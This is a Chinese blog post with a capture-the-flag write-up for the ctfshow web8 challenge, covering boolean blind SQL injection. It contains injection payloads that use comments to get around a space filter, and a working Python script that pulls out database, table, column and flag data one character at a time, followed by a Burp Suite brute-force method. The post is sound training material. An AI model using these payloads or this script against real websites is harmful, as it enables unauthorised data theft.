CTFshow-Web-SQL注入布尔盲注

一、靶场:ctfshow web8
二、解题步骤:
步骤一:打开页面发现和web7靶场一样,直接尝试联合查询:?id=1/**/union/**/select/**/1,2,3;#

image1

这里可以看到虽然使用了空格绕过,但依然被检查到了注入,这里往前一步,进行列数判断:

image2

这里可以得知空格绕过应该是成功的,但貌似联合查询不能用了

步骤二:这里仅演示最后爆出flag

法一:使用脚本注入:

这里就只能使用布尔盲注,这里使用脚本进行注入

脚本如下:

# -*- coding:utf-8 -*-

import requests

url = 'http://4fe13c47-aca7-4862-b383-adf3e156cd29.challenge.ctf.show/index.php'

name = ''

# 循环45次( 循环次数按照返回的字符串长度自定义)

for i in range(1, 45):

# 获取当前使用的数据库

# payload = '?id=-1/**/or/**/ascii(substr(database()from/**/%d/**/for/**/1))=%d'

# 获取当前数据库的所有表

# payload = '?id=-1/**/or/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'

# 获取flag表的字段

# payload = '?id=-1/**/or/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d'

# 获取flag表的数据

payload = '?id=-1/**/or/**/ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d'

count = 0

print('正在获取第 %d 个字符' % i)

# 截取SQL查询结果的每个字符, 并判断字符内容

for j in range(31, 128):

result = requests.get(url + payload % (i, j))

if 'If' in result.text:

name += chr(j)

print('数据库名/表名/字段名/数据: %s' % name)

break

# 如果某个字符不存在,则停止程序

count += 1

if count >= (128 - 31):

exit()

执行结果:

image3

法二:使用bp爆破

1)抓包后设置替换点,并使用cluster bomb类型

image4

2)设置两个地方的替换值为数字类型,第一个为1-45递增,第二个为31-128递增

image5

image6

3)爆破结果:

image7

4)爆破结果整理

image8

5)解码爆破结果

image9

posted @ 2025-12-03 09:33  shinianyunyan  阅读(58)  评论(0)    收藏  举报